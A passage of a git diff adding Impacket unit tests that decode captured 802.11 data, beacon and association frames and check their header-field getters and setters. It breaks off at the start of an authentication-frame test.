+    def test_01_HeaderSize(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.data.get_header_size(), 22)
+        self.assertEqual(self.data.get_tail_size(), 0)
+        
+    def test_02_Duration(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.data.get_duration(), 0x30)
+        self.data.set_duration(0x1234)
+        self.assertEqual(self.data.get_duration(), 0x1234)
+    
+    def test_03_Address_1(self):
+        'Test Address 1 field'
+        
+        addr=self.data.get_address1()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.data.set_address1(addr)
+        self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
+
+    def test_04_Address_2(self):
+        'Test Address 2 field'
+        
+        addr=self.data.get_address2()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.data.set_address2(addr)
+        self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])
+
+    def test_05_Address_3(self):
+        'Test Address 3 field'
+        
+        addr=self.data.get_address3()
+    
+        self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.data.set_address3(addr)
+        self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])
+    
+    def test_06_sequence_control(self):
+        'Test Sequence control field'
+        self.assertEqual(self.data.get_sequence_control(), 0x4440)
+        self.data.set_sequence_control(0x1234)
+        self.assertEqual(self.data.get_sequence_control(), 0x1234)
+
+    def test_07_fragment_number(self):
+        'Test Fragment number field'
+        self.assertEqual(self.data.get_fragment_number(), 0x0000)
+        self.data.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.data.get_fragment_number(), 0x01)
+
+    def test_08_sequence_number(self):
+        'Test Sequence number field'
+        self.assertEqual(self.data.get_sequence_number(), 0x0444)
+        self.data.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.data.get_sequence_number(), 0x0234)
+        
+    def test_09_frame_data(self):
+        'Test Frame Data field'
+        # Test with packet without addr4
+        frame_body=b"\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00"
+        self.assertEqual(self.data.get_frame_body(), frame_body)
+      
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagement.py b/tests/dot11/test_FrameManagement.py
new file mode 100644
index 0000000..c64e66e
--- /dev/null
+++ b/tests/dot11/test_FrameManagement.py
@@ -0,0 +1,190 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementBeaconFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe=b'\x00\x00\x20\x00\x67\x08\x04\x00\x54\xc6\xb8\x24\x00\x00\x00\x00\x22\x0c\xda\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x06\x03\x7f\x07\xa0\x16\xb0\x77\x3a\x40\xcb\x26\x00\x00\x00\x00\x64\x00\x01\x05\x00\x0a\x66\x72\x65\x65\x62\x73\x64\x2d\x61\x70\x01\x08\x8c\x12\x98\x24\xb0\x48\x60\x6c\x03\x01\x24\x05\x04\x00\x01\x00\x00\x07\x2a\x55\x53\x20\x24\x01\x11\x28\x01\x11\x2c\x01\x11\x30\x01\x11\x34\x01\x17\x38\x01\x17\x3c\x01\x17\x40\x01\x17\x95\x01\x1e\x99\x01\x1e\x9d\x01\x1e\xa1\x01\x1e\xa5\x01\x1e\x20\x01\x00\xdd\x18\x00\x50\xf2\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00'
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_BEACON)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_beacon=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_beacon.__class__), "impacket.dot11.Dot11ManagementBeacon")
+        else:
+            self.assertEqual(str(self.management_beacon.__class__), "<class 'impacket.dot11.Dot11ManagementBeacon'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_beacon.get_header_size(), 116)
+        self.assertEqual(self.management_beacon.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x0000)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0xFF,0xFF,0xFF,0xFF,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x06,0x03,0x7f,0x07,0xa0,0x16])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x03,0x7f,0x07,0xa0,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x06,0x03,0x7f,0x07,0xa0,0x16])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x03,0x7f,0x07,0xa0,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x77b0)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 1915)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x3a\x40\xcb\x26\x00\x00\x00\x00\x64\x00\x01\x05\x00\x0a\x66\x72\x65\x65\x62\x73\x64\x2d\x61\x70\x01\x08\x8c\x12\x98\x24\xb0\x48\x60\x6c\x03\x01\x24\x05\x04\x00\x01\x00\x00\x07\x2a\x55\x53\x20\x24\x01\x11\x28\x01\x11\x2c\x01\x11\x30\x01\x11\x34\x01\x17\x38\x01\x17\x3c\x01\x17\x40\x01\x17\x95\x01\x1e\x99\x01\x1e\x9d\x01\x1e\xa1\x01\x1e\xa5\x01\x1e\x20\x01\x00\xdd\x18\x00\x50\xf2\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Beacon Timestamp field' 
+        self.assertEqual(self.management_beacon.get_timestamp(), 0x0000000026CB403A)
+        self.management_beacon.set_timestamp(0x8765432101234567) 
+        self.assertEqual(self.management_beacon.get_timestamp(), 0x8765432101234567)
+
+    def test_11(self):
+        'Test Management Beacon Interval field' 
+        self.assertEqual(self.management_beacon.get_beacon_interval(), 0x0064)
+        self.management_beacon.set_beacon_interval(0x4321) 
+        self.assertEqual(self.management_beacon.get_beacon_interval(), 0x4321)
+
+    def test_12(self):
+        'Test Management Beacon Capabilities field' 
+        self.assertEqual(self.management_beacon.get_capabilities(), 0x0501)
+        self.management_beacon.set_capabilities(0x4321) 
+        self.assertEqual(self.management_beacon.get_capabilities(), 0x4321)
+
+    def test_13(self):
+        'Test Management ssid getter/setter methods'
+        act_ssid=b"freebsd-ap"
+        new_ssid=b"holala"
+        self.assertEqual(self.management_beacon.get_ssid(), act_ssid)
+        self.management_beacon.set_ssid(new_ssid)
+        self.assertEqual(self.management_beacon.get_ssid(), new_ssid)
+        self.assertEqual(self.management_beacon.get_header_size(), 116-4)
+
+    def test_14(self):
+        'Test Management supported_rates getter/setter methods'
+        self.assertEqual(self.management_beacon.get_supported_rates(), (0x8c,0x12,0x98,0x24,0xb0,0x48,0x60,0x6c) )
+        self.assertEqual(self.management_beacon.get_supported_rates(human_readable=True), (6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0) )
+        
+        self.management_beacon.set_supported_rates((0x12,0x98,0x24,0xb0,0x48,0x60))
+
+        self.assertEqual(self.management_beacon.get_supported_rates(), (0x12,0x98,0x24,0xb0,0x48,0x60) )
+        self.assertEqual(self.management_beacon.get_supported_rates(human_readable=True), ( 9.0, 12.0, 18.0, 24.0, 36.0, 48.0) )
+        self.assertEqual(self.management_beacon.get_header_size(), 116-2)
+
+    def test_15(self):
+        'Test Management DS Parameter Set getter/setter methods'
+        self.assertEqual(self.management_beacon.get_ds_parameter_set(), 36 )
+        
+        self.management_beacon.set_ds_parameter_set(40)
+
+        self.assertEqual(self.management_beacon.get_ds_parameter_set(), 40 )
+        self.assertEqual(self.management_beacon.get_header_size(), 116)
+
+    def test_16(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_beacon.get_vendor_specific(), [
+            (b"\x00\x50\xf2", b"\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00")])
+
+        self.management_beacon.add_vendor_specific(b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_beacon.get_vendor_specific(), 
+            [(b"\x00\x50\xf2",b"\x02\x01\x01\x00\x00\x03\xa4\x00\x00\x27\xa4\x00\x00\x42\x43\x5e\x00\x62\x32\x2f\x00"),
+             (b"\x00\x00\x40",b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_beacon.get_header_size(), 127)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementAssociationRequest.py b/tests/dot11/test_FrameManagementAssociationRequest.py
new file mode 100644
index 0000000..9370660
--- /dev/null
+++ b/tests/dot11/test_FrameManagementAssociationRequest.py
@@ -0,0 +1,187 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementAssociationRequestFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe = b"\x00\x00\x1c\x00\xef\x18\x00\x00jH\xfa\x00<\x00\x00\x00\x10\x02\x85\t\xa0\x00\xb9\x9e_\x00\x00" \
+                        b"\x1b\x00\x00:\x01\x00\x18\xf8lvBp\x1a\x04T\xe3\x86\x00\x18\xf8lvBP\x8e1\x04\n\x00\x00\x05ddwrt" \
+                        b"\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00" \
+                        b"\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10" \
+                        b"\x00\x00\x00\xbf]o\xce"
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_REQUEST)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_association_request=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_association_request.__class__), "impacket.dot11.Dot11ManagementAssociationRequest")
+        else:
+            self.assertEqual(str(self.management_association_request.__class__), "<class 'impacket.dot11.Dot11ManagementAssociationRequest'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_association_request.get_header_size(), 68)
+        self.assertEqual(self.management_association_request.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x8e50)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 2277)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"1\x04\n\x00\x00\x05ddwrt\x01\x08\x82\x84\x8b\x96$0Hl!\x02\n\x11$\x02\x01\x0e0\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x002\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x00\x10\x00\x00\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Association Request Capabilities field' 
+        self.assertEqual(self.management_association_request.get_capabilities(), 0x0431)
+        self.management_association_request.set_capabilities(0x4321) 
+        self.assertEqual(self.management_association_request.get_capabilities(), 0x4321)
+
+    def test_11(self):
+        'Test Management Association Request Listen Interval field' 
+        self.assertEqual(self.management_association_request.get_listen_interval(), 0x000a)
+        self.management_association_request.set_listen_interval(0x4321) 
+        self.assertEqual(self.management_association_request.get_listen_interval(), 0x4321)
+
+    def test_12(self):
+        'Test Management Association Request Ssid getter/setter methods'
+        act_ssid=b"ddwrt"
+        new_ssid=b"holala"
+        self.assertEqual(self.management_association_request.get_ssid(), act_ssid)
+        self.management_association_request.set_ssid(new_ssid)
+        self.assertEqual(self.management_association_request.get_ssid(), new_ssid)
+        self.assertEqual(self.management_association_request.get_header_size(), 68+1)
+
+    def test_13(self):
+        'Test Management Association Request Supported_rates getter/setter methods'
+        self.assertEqual(self.management_association_request.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
+        self.assertEqual(self.management_association_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
+        
+        self.management_association_request.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+
+        self.assertEqual(self.management_association_request.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+        self.assertEqual(self.management_association_request.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
+        self.assertEqual(self.management_association_request.get_header_size(), 68-2)
+
+    def test_14(self):
+        'Test Management Association Request RSN getter/setter methods'
+        self.assertEqual(self.management_association_request.get_rsn(), b"\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\x00")
+        self.management_association_request.set_rsn(b"\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
+
+        self.assertEqual(self.management_association_request.get_rsn(), b"\xff\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x08\xff")
+        self.assertEqual(self.management_association_request.get_header_size(), 68)
+
+    def test_15(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_association_request.get_vendor_specific(), [(b"\x00\x10\x18",b"\x02\x00\x10\x00\x00\x00")])
+
+        self.management_association_request.add_vendor_specific(b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_association_request.get_vendor_specific(), 
+            [(b"\x00\x10\x18", b"\x02\x00\x10\x00\x00\x00"),
+             (b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_association_request.get_header_size(), 68+11)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementAssociationResponse.py b/tests/dot11/test_FrameManagementAssociationResponse.py
new file mode 100644
index 0000000..05271ec
--- /dev/null
+++ b/tests/dot11/test_FrameManagementAssociationResponse.py
@@ -0,0 +1,171 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementAssociationResponseFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
+        self.rawframe=b"\x00\x00\x1c\x00\xef\x18\x00\x00\xc2L\xfa\x00<\x00\x00\x00\x10\x02\x85\t\xa0\x00\xb4\x9e_\x00\x00\x16\x10\x00:\x01p\x1a\x04T\xe3\x86\x00\x18\xf8lvB\x00\x18\xf8lvB\xf0\x02\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00f%\xdf7"
+        self.radiotap_decoder = RadioTapDecoder()
+        radiotap=self.radiotap_decoder.decode(self.rawframe)
+
+        if PY2:
+            self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap")
+        else:
+            self.assertEqual(str(radiotap.__class__), "<class 'impacket.dot11.RadioTap'>")
+
+        self.dot11=radiotap.child()
+        if PY2:
+            self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(self.dot11.__class__), "<class 'impacket.dot11.Dot11'>")
+
+        type = self.dot11.get_type()
+        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)
+        
+        subtype = self.dot11.get_subtype()
+        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE)
+        
+        typesubtype = self.dot11.get_type_n_subtype()
+        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_RESPONSE)
+        
+        self.management_base=self.dot11.child()
+        if PY2:
+            self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame")
+        else:
+            self.assertEqual(str(self.management_base.__class__), "<class 'impacket.dot11.Dot11ManagementFrame'>")
+        
+        self.management_association_response=self.management_base.child()
+        if PY2:
+            self.assertEqual(str(self.management_association_response.__class__), "impacket.dot11.Dot11ManagementAssociationResponse")
+        else:
+            self.assertEqual(str(self.management_association_response.__class__), "<class 'impacket.dot11.Dot11ManagementAssociationResponse'>")
+            
+        
+    def test_01(self):
+        'Test Header and Tail Size field'
+        self.assertEqual(self.management_base.get_header_size(), 22)
+        self.assertEqual(self.management_base.get_tail_size(), 0)
+        self.assertEqual(self.management_association_response.get_header_size(), 33)
+        self.assertEqual(self.management_association_response.get_tail_size(), 0)
+        
+    def test_02(self):
+        'Test Duration field'
+        
+        self.assertEqual(self.management_base.get_duration(), 0x013a)
+        self.management_base.set_duration(0x1234)
+        self.assertEqual(self.management_base.get_duration(), 0x1234)
+    
+    def test_03(self):
+        'Test Destination Address field'
+        
+        addr=self.management_base.get_destination_address()
+        
+        self.assertEqual(addr.tolist(), [0x70,0x1a,0x04,0x54,0xe3,0x86])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_destination_address(addr)
+        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x1a,0x04,0x54,0xe3,0x34])
+
+    def test_04(self):
+        'Test Source Address field'
+        
+        addr=self.management_base.get_source_address()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_source_address(addr)
+        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_05(self):
+        'Test BSSID Address field'
+        
+        addr=self.management_base.get_bssid()
+        
+        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])
+        addr[0]=0x12
+        addr[5]=0x34
+        self.management_base.set_bssid(addr)
+        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])
+
+    def test_06(self):
+        'Test Sequence control field'
+        self.assertEqual(self.management_base.get_sequence_control(), 0x02f0)
+        self.management_base.set_sequence_control(0x1234)
+        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)
+
+    def test_07(self):
+        'Test Fragment number field'
+        self.assertEqual(self.management_base.get_fragment_number(), 0x00)
+        self.management_base.set_fragment_number(0xF1) # Es de 4 bit
+        self.assertEqual(self.management_base.get_fragment_number(), 0x01)
+
+    def test_08(self):
+        'Test Sequence number field'
+        self.assertEqual(self.management_base.get_sequence_number(), 47)
+        self.management_base.set_sequence_number(0xF234) # Es de 12 bit
+        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)
+        
+    def test_09(self):
+        'Test Management Frame Data field'
+        frame_body=b"\x11\x04\x00\x00\x04\xc0\x01\x08\x82\x84\x8b\x96$0Hl2\x04\x0c\x12\x18`\xdd\t\x00\x10\x18\x02\x02\xf0\x00\x00\x00"
+        self.assertEqual(self.management_base.get_frame_body(), frame_body)
+
+    def test_10(self):
+        'Test Management Association Response Capabilities field' 
+        self.assertEqual(self.management_association_response.get_capabilities(), 0x0411)
+        self.management_association_response.set_capabilities(0x4321)
+        self.assertEqual(self.management_association_response.get_capabilities(), 0x4321)
+
+    def test_11(self):
+        'Test Management Association Response Status Code field' 
+        self.assertEqual(self.management_association_response.get_status_code(), 0x0000)
+        self.management_association_response.set_status_code(0x4321)
+        self.assertEqual(self.management_association_response.get_status_code(), 0x4321)
+
+    def test_12(self):
+        'Test Management Association Response Association ID field'
+        self.assertEqual(self.management_association_response.get_association_id(), 0xc004)
+        self.management_association_response.set_association_id(0x4321)
+        self.assertEqual(self.management_association_response.get_association_id(), 0x4321)
+
+    def test_13(self):
+        'Test Management Association Response Supported_rates getter/setter methods'
+        self.assertEqual(self.management_association_response.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))
+        self.assertEqual(self.management_association_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))
+        
+        self.management_association_response.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+
+        self.assertEqual(self.management_association_response.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))
+        self.assertEqual(self.management_association_response.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))
+        self.assertEqual(self.management_association_response.get_header_size(), 33-2)
+
+    def test_14(self):
+        'Test Management Vendor Specific getter/setter methods'
+        self.assertEqual(self.management_association_response.get_vendor_specific(), [(b"\x00\x10\x18",b"\x02\x02\xf0\x00\x00\x00")])
+
+        self.management_association_response.add_vendor_specific(b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04")
+
+        self.assertEqual(self.management_association_response.get_vendor_specific(), 
+            [(b"\x00\x10\x18", b"\x02\x02\xf0\x00\x00\x00"),
+             (b"\x00\x00\x40", b"\x04\x04\x04\x04\x04\x04"),
+            ])
+        self.assertEqual(self.management_association_response.get_header_size(), 33+11)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_FrameManagementAuthentication.py b/tests/dot11/test_FrameManagementAuthentication.py
new file mode 100644
index 0000000..2afcd4f
--- /dev/null
+++ b/tests/dot11/test_FrameManagementAuthentication.py
@@ -0,0 +1,159 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from six import PY2
+from impacket.dot11 import Dot11Types
+from impacket.ImpactDecoder import RadioTapDecoder
+
+
+class TestDot11ManagementAuthenticationFrames(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Management Frame 
+        #
